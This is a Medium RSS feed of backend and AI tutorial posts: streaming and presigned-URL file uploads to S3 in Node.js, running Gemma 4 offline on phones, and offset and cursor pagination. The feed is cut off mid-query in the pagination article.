<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rahul Jain on Medium]]></title>
        <description><![CDATA[Stories by Rahul Jain on Medium]]></description>
        <link>https://medium.com/@rj.rahul1908?source=rss-8f70d9d4ea7e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*G0zfsO_DviVqQmrIvoIUHA.jpeg</url>
            <title>Stories by Rahul Jain on Medium</title>
            <link>https://medium.com/@rj.rahul1908?source=rss-8f70d9d4ea7e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 09:48:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rj.rahul1908/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to Handle Large File Uploads in Node.js: Part 2 — Presigned URLs]]></title>
            <link>https://blog.stackademic.com/how-to-handle-large-file-uploads-in-node-js-part-2-presigned-urls-c5120cf2f4c6?source=rss-8f70d9d4ea7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5120cf2f4c6</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Rahul Jain]]></dc:creator>
            <pubDate>Wed, 06 May 2026 02:22:11 GMT</pubDate>
            <atom:updated>2026-05-06T07:14:25.537Z</atom:updated>
            <content:encoded><![CDATA[<p>In <a href="https://medium.com/stackademic/your-node-js-uploads-work-until-they-dont-fixing-large-file-uploads-with-streams-8e81eb9e56a8">Part 1</a>, we streamed uploads through Node.js directly to S3. Memory stayed flat, the server survived.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Ck4gtMGIxSxTN_y5193dg.png" /><figcaption>AI Generated Image</figcaption></figure><p>But here’s a question worth asking: <strong>why should the file touch your server at all?</strong></p><p>Your server receives bytes from the client and immediately forwards them to S3. Pure middleman. It doesn’t inspect the data, doesn’t transform it, just passes it along while burning bandwidth, CPU, and network I/O.</p><p>What if the client uploaded directly to S3?</p><h3>Your Server Becomes a Permission Slip</h3><p>Your server generates a <strong>temporary, signed URL</strong> that gives the client permission to upload one specific file straight to S3. The file never passes through your server.</p><p>The flow:</p><ol><li>Client asks your server: “I want to upload vacation.mp4, 800MB, video/mp4”</li><li>Server validates the request, generates a presigned URL, sends it back</li><li>Client uploads directly to S3 using that URL</li><li>Done. Your server barely broke a sweat.</li></ol><p>That’s it. Zero bytes of the actual file pass through your server.</p><h3>Generating the URL</h3><pre>const { S3Client, PutObjectCommand } = require(&#39;@aws-sdk/client-s3&#39;);<br>const { getSignedUrl } = require(&#39;@aws-sdk/s3-request-presigner&#39;);<br><br>const ALLOWED_TYPES = new Set([&#39;image/jpeg&#39;, &#39;image/png&#39;, &#39;application/pdf&#39;, &#39;text/plain&#39;]);<br>const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10 MB<br><br>app.post(&#39;/get-upload-url&#39;, async (req, res) =&gt; {<br>  const { filename, contentType, fileSize } = req.body;<br><br>  if (!ALLOWED_TYPES.has(contentType)) {<br>    return res.status(400).json({ error: &#39;File type not allowed&#39; });<br>  }<br>  if (fileSize &gt; MAX_FILE_SIZE) {<br>    return res.status(400).json({ error: &#39;File too large&#39; });<br>  }<br><br>  const fileKey = `uploads/${randomUUID()}/${filename}`;<br><br>  const command = new PutObjectCommand({<br>    Bucket: process.env.S3_BUCKET,<br>    Key: fileKey,<br>    ContentType: contentType,<br>    ContentLength: fileSize,<br>  });<br><br>  const uploadUrl = await getSignedUrl(s3, command, { expiresIn: 900 });<br>  res.json({ uploadUrl, fileKey });<br>});</pre><p>The URL expires in 15 minutes. It is locked to the exact file type and size the client declared, so someone else cannot use it to upload a different file.</p><p>Notice the validation happens before generating the URL.</p><h3>The Client Side</h3><p>On the client, you make two requests. First, hit “/get-upload-url” to get the presigned URL from your server. Then PUT the file directly to S3 using that URL.</p><pre>// Step 1 — get the presigned URL from your server<br>const { uploadUrl, fileKey } = await axios<br>  .post(&quot;http://localhost:3000/get-upload-url&quot;, {<br>    filename: file.name,<br>    contentType: file.type,<br>    fileSize: file.size,<br>  })<br>  .then((r) =&gt; r.data)<br>  .catch((e) =&gt; {<br>    console.error(&quot;Error fetching presigned URL:&quot;, e);<br>  });<br><br>// Step 2 — upload directly to S3 (server never sees the file)<br>await axios.put(uploadUrl, file, {<br>  headers: { &#39;Content-Type&#39;: file.type },<br>  onUploadProgress: (e) =&gt; {<br>    const percent = Math.round((e.loaded / e.total) * 100);<br>    console.log(`${percent}%`);<br>  },<br>});</pre><p>Axios’s “onUploadProgress” callback makes progress tracking simple. You do not need manual event listeners or “XMLHttpRequest” boilerplate. Users uploading large files need a progress bar, and this is the easiest way to add one.</p><h3>What About Files Bigger Than 5GB?</h3><p>A regular presigned PUT works for files up to 5GB, which is S3’s single-PUT limit. For larger files, or if you need resumability on unreliable networks, you need <strong>presigned multipart uploads</strong>.</p><p>The idea: the client splits the file into 10MB chunks and uploads each one separately, in parallel, straight to S3. If a chunk fails, you retry just that chunk. No starting over.</p><p>The flow has more steps:</p><ol><li>Client asks your server to start a multipart upload → server calls S3, gets an uploadId</li><li>Client requests presigned URLs for each chunk → server generates them</li><li>Client uploads chunks in parallel to S3 (4 at a time is a good default)</li><li>Client tells your server “done” with a list of ETags → server tells S3 to stitch the parts together</li></ol><p>There are more steps involved, but you get parallel uploads, resumability, and support for files up to <strong>5 terabytes</strong>.</p><p>Libraries like <a href="https://uppy.io/">Uppy</a> and <a href="https://github.com/TTLabs/EvaporateJS">Evaporate.js</a> implement all of this out of the box. You don’t have to wire up the chunking logic yourself.</p><h3>Don’t Forget to Clean Up</h3><p>Here is something that can quietly cost you money: if a multipart upload starts but never finishes, such as when the browser closes or the network drops, S3 keeps those partial chunks forever and charges you for the storage.</p><p>Add this lifecycle rule to your S3 bucket:</p><pre>{<br>  &quot;Rules&quot;: [{<br>    &quot;ID&quot;: &quot;cleanup-incomplete-uploads&quot;,<br>    &quot;Status&quot;: &quot;Enabled&quot;,<br>    &quot;AbortIncompleteMultipartUpload&quot;: {<br>      &quot;DaysAfterInitiation&quot;: 1<br>    }<br>  }]<br>}</pre><p>Abandoned parts get deleted after 1 day. Set this up on day one.</p><h3>Streaming vs. Presigned: Pick the Right Tool</h3><p><strong>Use server-side streaming (see Part 1)</strong> when you need to inspect the file, such as for virus scanning, content moderation, resizing, or transcoding. The file must pass through your server because you are processing it.</p><p><strong>Use presigned URLs</strong> when you only need to store the file without changes. This approach works especially well in serverless setups. Lambda has a 6MB request body limit, and presigned URLs avoid that limit entirely.</p><p><strong>Use presigned multipart</strong> when files might exceed 5GB or the network is unreliable.</p><p>In all three cases, the same rule applies: <strong>the file should never sit fully in memory on your server.</strong> That’s the difference between something that handles 5 users and something that handles 5,000.</p><p><em>Did you miss Part 1? It covers streaming uploads through your server and is worth reading first. </em><a href="https://medium.com/stackademic/your-node-js-uploads-work-until-they-dont-fixing-large-file-uploads-with-streams-8e81eb9e56a8"><em>Check it out here</em></a><em>.</em></p><p><a href="https://medium.com/@rj.rahul1908/your-node-js-uploads-work-until-they-dont-fixing-large-file-uploads-with-streams-8e81eb9e56a8">Your Node.js Uploads Work… Until They Don’t — Fixing Large File Uploads with Streams</a></p><p><em>Follow for more backend deep dives, and leave a comment if you have run into an issue I did not cover.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5120cf2f4c6" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/how-to-handle-large-file-uploads-in-node-js-part-2-presigned-urls-c5120cf2f4c6">How to Handle Large File Uploads in Node.js: Part 2 — Presigned URLs</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Node.js Uploads Work… Until They Don’t — Fixing Large File Uploads with Streams]]></title>
            <link>https://blog.stackademic.com/your-node-js-uploads-work-until-they-dont-fixing-large-file-uploads-with-streams-8e81eb9e56a8?source=rss-8f70d9d4ea7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e81eb9e56a8</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[backend]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Rahul Jain]]></dc:creator>
            <pubDate>Fri, 01 May 2026 12:27:56 GMT</pubDate>
            <atom:updated>2026-05-04T07:36:02.334Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bt5UdeuaI2VEBbdsnDhIdg.png" /><figcaption>Image Generated by AI</figcaption></figure><p>Have you ever built an upload feature, tested it with a small file, saw it work perfectly and then shipped it to production?</p><p>Everything is fine during testing, you toss a 5MB image at it, it lands in S3, you’re happy. Then one of your users tries to upload a 1.5GB video. Server memory spikes. Process hangs. Maybe it crashes.</p><p>So what went wrong? You didn’t do anything wrong per se. You just followed what most tutorials show you, receive the file, hold it in memory, push it to S3. That works fine for small files. It does NOT work in the real world.</p><h3>Why Buffering the Upload Is a Problem</h3><p>A typical Express setup with multer uses memoryStorage(). What that means is the entire file sits in RAM before anything happens.</p><p>Upload a 500MB file? Node.js holds 500MB in memory. Ten users uploading at the same time? That’s 5GB of RAM just sitting there. And the upload to S3 doesn’t even <em>start</em> until your server has received the whole file. So the user is waiting twice. Once for your server to receive it, and again for S3 to get it.</p><p>This doesn’t scale. At all.</p><h3>What Is a Stream and Why Should You Care</h3><p>A <strong>stream</strong> is just data that arrives in chunks instead of all at once. Instead of waiting for the whole file, you process each chunk as it comes in and immediately pass it along.</p><p>Think of it like a conveyor belt. You don’t wait for all 10,000 boxes to pile up in the warehouse and THEN start shipping. Each box comes off the line and goes straight onto the truck.</p><p>Now in Node.js, the incoming HTTP request (req) is already a readable stream. And S3&#39;s upload API accepts a readable stream as its body. So you connect one end to the other, <strong>bytes flow from the user&#39;s browser, through your server, and directly into S3, without ever piling up in memory.</strong></p><p>Whether the file is 1MB or 10GB, your server’s memory usage stays roughly the same. That’s the whole idea.</p><h3>The Real-World Setup: Busboy + S3</h3><p>Now when users upload files through an HTML form, the file gets wrapped in <strong>multipart/form-data</strong> encoding. You need something that can parse that without buffering it.</p><p>Busboy is a streaming multipart parser. It fires events as file chunks arrive and gives you a readable stream for each file. You pipe that stream directly into S3’s Upload class from @aws-sdk/lib-storage, which breaks it into parts and uploads them in parallel using S3&#39;s multipart upload API.</p><p>Here’s what that looks like:</p><pre>const Busboy = require(&#39;busboy&#39;);<br>const { S3Client } = require(&#39;@aws-sdk/client-s3&#39;);<br>const { Upload } = require(&#39;@aws-sdk/lib-storage&#39;);<br>const express = require(&#39;express&#39;);<br>const { randomUUID } = require(&#39;crypto&#39;);<br>// const { pipeline } = require(&#39;stream&#39;);<br>require(&#39;dotenv&#39;).config();<br><br>const app = express();<br>const s3 = new S3Client({<br>  region: process.env.AWS_REGION,<br>  credentials: {<br>    accessKeyId: process.env.AWS_ACCESS_KEY_ID,<br>    secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,<br>  },<br>});<br>app.post(&#39;/upload&#39;, (req, res) =&gt; {<br>  const busboy = Busboy({<br>    headers: req.headers,<br>    limits: { fileSize: 2 * 1024 * 1024 * 1024, files: 1 },<br>  });<br>  busboy.on(&#39;file&#39;, (fieldName, fileStream, { filename, mimeType }) =&gt; {<br>    const upload = new Upload({<br>      client: s3,<br>      params: {<br>        Bucket: process.env.S3_BUCKET,<br>        Key: `uploads/${randomUUID()}/${filename}`,<br>        Body: fileStream,<br>        ContentType: mimeType,<br>      },<br>      queueSize: 4,<br>      partSize: 10 * 1024 * 1024, // 10MB per part<br>    });<br>    uploadPromise = upload.done();<br>  });<br>  busboy.on(&#39;finish&#39;, async () =&gt; {<br>    const result = await uploadPromise;<br>    res.json({ message: &#39;Upload complete&#39;, location: result.Location });<br>  });<br>  req.pipe(busboy);<br>  // pipeline(req, busboy, (err) =&gt; {<br>  //   if (err) {<br>  //     console.error(&#39;Pipeline error:&#39;, err);<br>  //     return res.status(500).json({ error: &#39;Upload failed&#39; });<br>  //   }<br>  // });<br>});<br>app.listen(3000, () =&gt; {<br>  console.log(&#39;Server listening on port 3000&#39;);<br>});</pre><p>That’s the whole flow. req.pipe(busboy) connects the incoming HTTP stream to the parser. Busboy gives you the file as a stream. That stream goes directly into S3. <strong>Memory usage during a 2GB upload? Around 40–80MB</strong> — just the part buffers the AWS SDK holds while uploading.</p><h3>What S3 Does Under the Hood</h3><p>When the Upload class receives a large stream, it automatically uses S3&#39;s <strong>multipart upload</strong> behind the scenes.</p><p>It tells S3 it’s about to send a large file in pieces. Then it sends the file in 10MB chunks and each chunk gets confirmed by S3. When all parts are done, S3 stitches them together into one file.</p><p>So if one part fails, only that part gets retried. Parts also upload in parallel, 4 at once means faster throughput. And you never need more than a few parts sitting in memory at any time.</p><h3>The Gotchas</h3><p>Set file size limits everywhere. Not just in Busboy — also at your reverse proxy. In Nginx, you need client_max_body_size 2G; and also proxy_request_buffering off;. Without that second line, Nginx buffers the entire upload to disk before forwarding it. That defeats the whole point of streaming.</p><p>Use pipeline() instead of .pipe(). Why? Because the old .pipe() doesn&#39;t propagate errors. If the destination stream errors out, the source just keeps pumping data into nothing. pipeline() from stream/promises handles this properly.</p><p>Set generous timeouts. Large uploads take time. Set server.requestTimeout to something like 30 minutes, or your server will kill the upload halfway through and you&#39;ll have no idea why.</p><h3>What If You Could Skip the Server Entirely?</h3><p>If you don’t need to inspect or transform the file at all, there’s an even better approach — don’t send the file through your server. Let the client upload directly to S3 using presigned URLs. That’s exactly we will see in next blog post.</p><p><em>If this was helpful, follow for more backend engineering breakdowns. Drop a comment — how are you currently handling large uploads in your stack?</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e81eb9e56a8" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/your-node-js-uploads-work-until-they-dont-fixing-large-file-uploads-with-streams-8e81eb9e56a8">Your Node.js Uploads Work… Until They Don’t — Fixing Large File Uploads with Streams</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[This AI Runs on Your Phone Without Internet]]></title>
            <link>https://blog.stackademic.com/this-ai-runs-on-your-phone-without-internet-6ac033e36ca8?source=rss-8f70d9d4ea7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ac033e36ca8</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Rahul Jain]]></dc:creator>
            <pubDate>Sat, 11 Apr 2026 15:50:59 GMT</pubDate>
            <atom:updated>2026-04-15T08:20:39.920Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WvcwEzXQF0dlasWeX-_RVg.png" /><figcaption>AI Generated Image</figcaption></figure><p>We’ve all been there. You want to use an AI assistant, but you’re on a flight. Or in a basement with no signal. Or maybe you just don’t want your private data leaving your device.</p><p>In April 2026, Google DeepMind released <strong>Gemma 4.</strong> The most intelligent open model family they’ve ever built. And the wild part? You can run it <strong>entirely on your phone</strong>, offline, with near-zero latency.</p><p>No cloud. No API keys. No internet required.</p><p>Built from the same research and technology behind <strong>Gemini 3</strong> (Google’s proprietary flagship model), Gemma 4 delivers frontier-level AI capabilities that anyone can use and deploy freely.</p><h3>What Exactly Is Gemma 4?</h3><p>Gemma 4 is a family of <strong>four open models</strong>, each designed for different hardware:</p><ul><li><strong>E2B (Effective 2B)</strong> — The lightest model. Built for phones, IoT devices, and Raspberry Pi. Supports text, image, and audio input with a 128K context window.</li><li><strong>E4B (Effective 4B)</strong> — A step up in capability, still runs on most modern phones and tablets. Also supports text, image, and audio with a 128K context window.</li><li><strong>26B A4B (Mixture-of-Experts)</strong> — A clever architecture that has 25.2B total parameters but only activates 3.8B during inference, so it runs almost as fast as a 4B model while delivering much higher quality. 256K context window. Great for laptops and consumer GPUs.</li><li><strong>31B (Dense)</strong> — The powerhouse. All 30.7B parameters active, 256K context window. Designed for workstations and servers.</li></ul><p>The smaller models use a technique where the actual compute behaves like a much smaller model than the total parameter count suggests — which is why they can run on a phone without melting it.</p><h3>The Capabilities That Set Gemma 4 Apart</h3><h4>1. Multimodal by Default</h4><p>Every Gemma 4 model can process <strong>text and images</strong> natively. The smaller E2B and E4B models go even further — they also handle <strong>audio input</strong> for speech recognition and understanding. This is not a bolt-on; it’s baked into the architecture.</p><ul><li><strong>Image understanding</strong>: OCR, chart comprehension, document/PDF parsing, screen &amp; UI understanding, handwriting recognition, object detection</li><li><strong>Video understanding</strong>: Analyze video by processing sequences of frames (up to 60 seconds)</li><li><strong>Audio</strong> (E2B/E4B): Automatic speech recognition (ASR) and speech-to-translated-text across multiple languages (up to 30 seconds)</li><li><strong>Interleaved multimodal input</strong>: Freely mix text and images in any order within a single prompt</li></ul><h4>2. Built-In Reasoning (“Thinking Mode”)</h4><p>Gemma 4 has a <strong>native thinking mode</strong> where the model reasons step-by-step before answering. You enable it with a simple &lt;|think|&gt; token in the system prompt. The model outputs its internal reasoning process, then delivers its final answer.</p><blockquote>This isn’t a hack or a prompt trick, it’s architecturally supported.</blockquote><h4>3. Agentic Workflows &amp; Function Calling</h4><p>This is where Gemma 4 really shines. It has <strong>native support for function calling</strong>, structured JSON output, and system instructions. This means you can build <strong>autonomous agents</strong> that:</p><ul><li>Plan multi-step actions</li><li>Call external tools and APIs</li><li>Navigate apps</li><li>Execute complex workflows</li><li>Return structured, predictable outputs</li></ul><h4>4. Code Generation</h4><p>Gemma 4 is a serious coding companion. It supports high-quality offline code generation, completion, and correction — turning your workstation into a local-first AI code assistant.</p><h4>5. 140+ Languages</h4><p>Natively trained on over <strong>140 languages</strong>, Gemma 4 goes beyond simple translation — it understands cultural context and nuance across languages.</p><h4>6. Massive Context Windows</h4><ul><li><strong>E2B &amp; E4B</strong>: 128K tokens</li><li><strong>26B &amp; 31B</strong>: 256K tokens</li></ul><p>You can pass entire codebases, lengthy documents, or long conversation histories in a single prompt.</p><h3>How to Run Gemma 4 on Your Phone Using AI Edge Gallery</h3><p>This is the part you’ve been waiting for. Google provides a free app called <strong>Google AI Edge Gallery</strong> that lets you run Gemma 4 entirely on your phone. No cloud, no subscription, no data leaving your device.</p><h4>Step 1: Download the App</h4><ul><li><strong>Android</strong>: <a href="https://play.google.com/store/apps/details?id=com.google.ai.edge.gallery">Google Play Store</a></li><li><strong>iOS</strong>: <a href="https://apps.apple.com/us/app/google-ai-edge-gallery/id6749645337">Apple App Store</a></li></ul><h4>Step 2: Open the App and Download a Model</h4><p>Once installed, open the AI Edge Gallery app. You’ll see the available Gemma 4 models:</p><ul><li><strong>Gemma 4 E2B</strong> — Lighter, faster, uses less than 1.5GB of RAM on some devices</li><li><strong>Gemma 4 E4B</strong> — More capable, still runs on most modern phones</li></ul><p>Select the model that fits your device. The app will download the model weights directly to your phone. This is a one-time download after that, everything runs <strong>100% offline</strong>.</p><h4>Step 3: Start Chatting</h4><p>Once downloaded, you can immediately start chatting with Gemma 4. It supports:</p><ul><li>Text conversations</li><li>Image analysis (point your camera or upload a photo)</li><li>Audio input (speak to it directly)</li><li>Multi-turn conversations</li></ul><h4>Step 4: Try Agent Skills</h4><p>This is where it gets really interesting. AI Edge Gallery introduced <strong>Agent Skills</strong> — multi-step, autonomous agentic workflows running entirely on-device. With Agent Skills, Gemma 4 can:</p><ul><li><strong>Query Wikipedia</strong> or other knowledge bases to answer questions beyond its training data</li><li><strong>Generate flashcards and summaries</strong> from paragraphs or videos</li><li><strong>Create interactive visualizations and graphs</strong> from your data</li><li><strong>Integrate with other models</strong> like text-to-speech, image generation, or music synthesis</li><li><strong>Build mini-applications</strong> entirely through conversation like an app that identifies and plays animal vocal calls</li></ul><p>You can even <strong>create your own custom skills</strong> using <a href="https://github.com/google-ai-edge/gallery/tree/main/skills">Google’s skill-building guide</a> and share them with the community.</p><h4>Step 5: Use It in Your Own Apps (For Developers)</h4><p>If you’re a developer, you can integrate Gemma 4 into your own apps using <strong>LiteRT-LM</strong>:</p><pre>pip install litert-lm</pre><p>Or use the CLI tool directly in your terminal — no code required:</p><pre>litert-lm chat --model gemma-4-e2b</pre><p>LiteRT-LM supports:</p><ul><li><strong>2-bit and 4-bit quantization</strong> for minimal memory footprint</li><li><strong>Constrained decoding</strong> for structured, predictable outputs</li><li><strong>Dynamic context lengths</strong> up to 128K tokens</li><li>CPU and GPU acceleration across Android, iOS, Windows, Linux, and macOS</li></ul><h3>What’s Better (Upgrades Over Gemma 3)</h3><ol><li><strong>Dramatically Better Reasoning</strong> — Built-in thinking mode with step-by-step reasoning that’s architecturally supported, not prompt-engineered.</li><li><strong>Native Agentic Capabilities</strong> — Function calling and structured JSON output are first-class features, enabling autonomous agent workflows.</li><li><strong>Audio Input</strong> — The E2B and E4B models natively process audio. Gemma 3’s small models didn’t have this.</li><li><strong>Bigger Context Windows</strong> — 128K for edge models, 256K for larger models (up from shorter contexts in Gemma 3).</li><li><strong>Better Safety</strong> — Significant improvements in content safety across all categories while keeping unnecessary refusals low.</li><li><strong>Native System Prompt Support</strong> — Gemma 4 introduces native system role support for more controllable conversations.</li></ol><h3>What’s Not Perfect (Limitations to Know)</h3><ol><li><strong>31B and 26B models don’t support audio</strong> — Only the smaller E2B and E4B models handle audio input. If you need audio with the big models, you’ll need a separate pipeline.</li><li><strong>Audio limited to 30 seconds</strong> — The audio input caps at 30-second clips. Long-form audio processing isn’t supported yet.</li><li><strong>Video limited to 60 seconds</strong> — Similarly, video understanding is capped at 60 seconds at 1 frame per second.</li><li><strong>Training data cutoff is January 2025</strong> — The model doesn’t know about events after this date. It can hallucinate outdated facts.</li><li><strong>On-device model sizes still need space</strong> — Even the E2B model requires a significant download and storage. Not ideal for devices with very limited storage.</li><li><strong>Common sense reasoning gaps</strong> — Like all LLMs, Gemma 4 relies on statistical patterns and can struggle with certain common-sense scenarios.</li><li><strong>No native text-to-image generation</strong> — Gemma 4 understands images but doesn’t generate them. You need a separate model for that.</li></ol><h3>The Bigger Picture</h3><p>Gemma 4 isn’t just another model release. It’s a statement about the future of AI. Google is betting that the most impactful AI won’t live in data centers, it’ll live on the <strong>billions of devices</strong> people carry in their pockets.</p><p><em>If you found this useful, give it a clap and follow for more such articles</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ac033e36ca8" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/this-ai-runs-on-your-phone-without-internet-6ac033e36ca8">This AI Runs on Your Phone Without Internet</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pagination in System Design: How Apps Like Instagram Load Your Feed Without Crashing]]></title>
            <link>https://blog.stackademic.com/pagination-in-system-design-how-apps-like-instagram-load-your-feed-without-crashing-64ce75af7bde?source=rss-8f70d9d4ea7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/64ce75af7bde</guid>
            <category><![CDATA[software-architecture]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[backend-development]]></category>
            <dc:creator><![CDATA[Rahul Jain]]></dc:creator>
            <pubDate>Wed, 08 Apr 2026 02:01:02 GMT</pubDate>
            <atom:updated>2026-04-10T07:09:25.726Z</atom:updated>
            <content:encoded><![CDATA[<p>Pick up your phone. Open Instagram. Start scrolling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0yCcb9__RdXblmn83hVVrw.png" /><figcaption>Generated by AI</figcaption></figure><p>Notice something? The photos don’t all load at once. You see maybe 20–30 of them, and as you keep scrolling, more show up. It feels smooth, almost magic.</p><p>But it’s not magic. It’s <strong>pagination</strong> and it’s one of the most important ideas in system design.</p><p>In simple words, pagination means: <em>don’t send everything at once. Send it in small pieces.</em></p><p>Let’s talk about why that matters and how to actually do it.</p><h3>So, Why Can’t We Just Send Everything?</h3><p>Let’s say you’re building something like Twitter. A single user might have millions of tweets in their timeline. Now imagine your API tries to send all of them in a single request.</p><p>Here’s what would go wrong:</p><ul><li><strong>Your server would go down.</strong> Pulling millions of rows from a database, sorting them, and converting them to JSON takes a lot of memory and time. Your server might just give up and crash.</li><li><strong>Huge network consumption.</strong> Millions of records could amount to hundreds of megabytes of data in a single response. Your network would take forever to load.</li><li><strong>The app would freeze or crash.</strong> Try asking your device to display a list of a million items. It won’t end well. Devices like phones have limited memory; they can’t hold that much stuff at once.</li><li><strong>Users would eventually leave.</strong> Nobody wants to stare at a loading screen for 30 seconds. People want content now.</li></ul><p>So the answer is simple: break it into chunks. Load 20 posts. When the user scrolls down, load the next 20. And so on.</p><p>That’s pagination. Now the real question is: <em>how do you decide which 20 posts to send next?</em></p><p>There are three main ways to do it. Let’s go through each one.</p><h3>Approach 1: Offset Pagination — The “Page Number” Way</h3><h4>The Idea</h4><p>This is the simplest approach. It works exactly like pages in a book. You tell the API:</p><ul><li><strong>How many items</strong> you want (that’s your limit)</li><li><strong>How many items to skip</strong> (that’s your offset)</li></ul><pre>GET /api/feed?limit=10&amp;offset=20</pre><p>This basically means: <em>“Skip the first 20 posts and fetch the next 10.”</em></p><p>Behind the scenes, the database runs something like this:</p><pre>SELECT * FROM posts ORDER BY created_at DESC LIMIT 10 OFFSET 20;</pre><h4>A Real Example</h4><p>Let’s say you’re building an admin panel for a blog. The admin wants to see all articles, with a nice “Page 1, Page 2, Page 3” navigation at the bottom. Here’s how it’d work:</p><pre>Page 1: GET /api/articles?limit=25&amp;offset=0    → Articles 1-25<br>Page 2: GET /api/articles?limit=25&amp;offset=25   → Articles 26-50<br>Page 3: GET /api/articles?limit=25&amp;offset=50   → Articles 51-75</pre><p>And the response would look like this:</p><pre>{<br>  &quot;data&quot;: [ /* 25 articles */ ],<br>  &quot;pagination&quot;: {<br>    &quot;total&quot;: 1340,<br>    &quot;limit&quot;: 25,<br>    &quot;offset&quot;: 50,<br>    &quot;total_pages&quot;: 54,<br>    &quot;current_page&quot;: 3<br>  }<br>}</pre><p>Simple. The client knows there are 54 pages and can show page buttons. Done.</p><h3>Why is this used mainly?</h3><ul><li>It’s easy to implement and requires less effort. Both the backend and frontend understand it right away.</li><li>Users can easily jump to any page.</li><li>It can be directly applied to SQL.</li></ul><h3>Problems with the Offset Pagination</h3><h4><strong>1. Large Offset</strong></h4><p>This approach has a hidden problem that’ll haunt you when your app grows.</p><p>Imagine someone goes to page 10,000. Your offset is now 250,000. The database has to do this:</p><pre>SELECT * FROM posts ORDER BY created_at DESC LIMIT 25 OFFSET 250000;</pre><p>Here’s the thing, most people don’t realise: <strong>the database doesn’t magically jump to row 250,000.</strong> It actually reads through all 250,000 rows, throws them away, and then gives you the 25 you asked for.</p><p>That’s like reading a 1,000-page book from page 1 just to find something on page 999. The further you go, the slower it gets. On a table with 10 million rows, this can take many seconds.</p><h4><strong>2. Things Shift Around</strong></h4><p>A user is looking at page 2 of their feed. While they’re reading, 5 new posts get published. Now, when they click “Page 3,” everything has shifted. They might see posts they already saw on page 2 or miss some posts entirely because they slipped between the pages.</p><p>For an admin dashboard that doesn’t change much, this is fine. For a live social feed where new stuff comes in every second? It’s a mess.</p><h3>So, When Should You Use Offset Pagination?</h3><h4><strong>Good for:</strong></h4><ul><li>Admin dashboards and internal tools</li><li>Search results with page numbers (like Google Search)</li><li>Data that doesn’t change often</li><li>When users need to jump to a specific page</li></ul><h4><strong>Not great for:</strong></h4><ul><li>Live feeds where new data comes in constantly</li><li>Huge datasets where people might scroll really far</li><li>Mobile apps with infinite scroll</li></ul><h3>Approach 2: Cursor Pagination — The “Bookmark” Way</h3><h4>The Idea</h4><p>Instead of skipping the first 100 items, cursor pagination gives everything after the specific item.</p><p>Think of it like a bookmark. When you stop reading a book, you put a bookmark on the last page you read. Next time you pick it up, you start from the bookmark; you don’t count pages from the beginning.</p><p>That “bookmark” is called a <strong>cursor</strong>. It’s a token the API returns with every response. You don’t need to know what’s inside it, you just send it back in your next request.</p><pre># First request — no cursor (start from the top)<br>GET /api/feed?limit=10</pre><pre># Next request — use the cursor from the previous response<br>GET /api/feed limit=10&amp;cursor=eyJ0cyI6IjIwMjQtMDMtMTVUMTI6MDA6MDBaIiwiaWQiOjQ1Nn0=</pre><h4>What’s Inside That Cursor?</h4><p>That weird-looking string is just Base64-encoded data. If you decode it, it usually contains something like:</p><pre>{&quot;ts&quot;: &quot;2026-04-07T12:00:00Z&quot;, &quot;id&quot;: 456}</pre><p>It’s basically saying: <em>“The last post this user saw was posted on March 15 at noon, and its ID is 456.”</em></p><p>When the server gets this cursor, it knows exactly where to pick up:</p><pre>SELECT * FROM posts<br>WHERE (created_at, 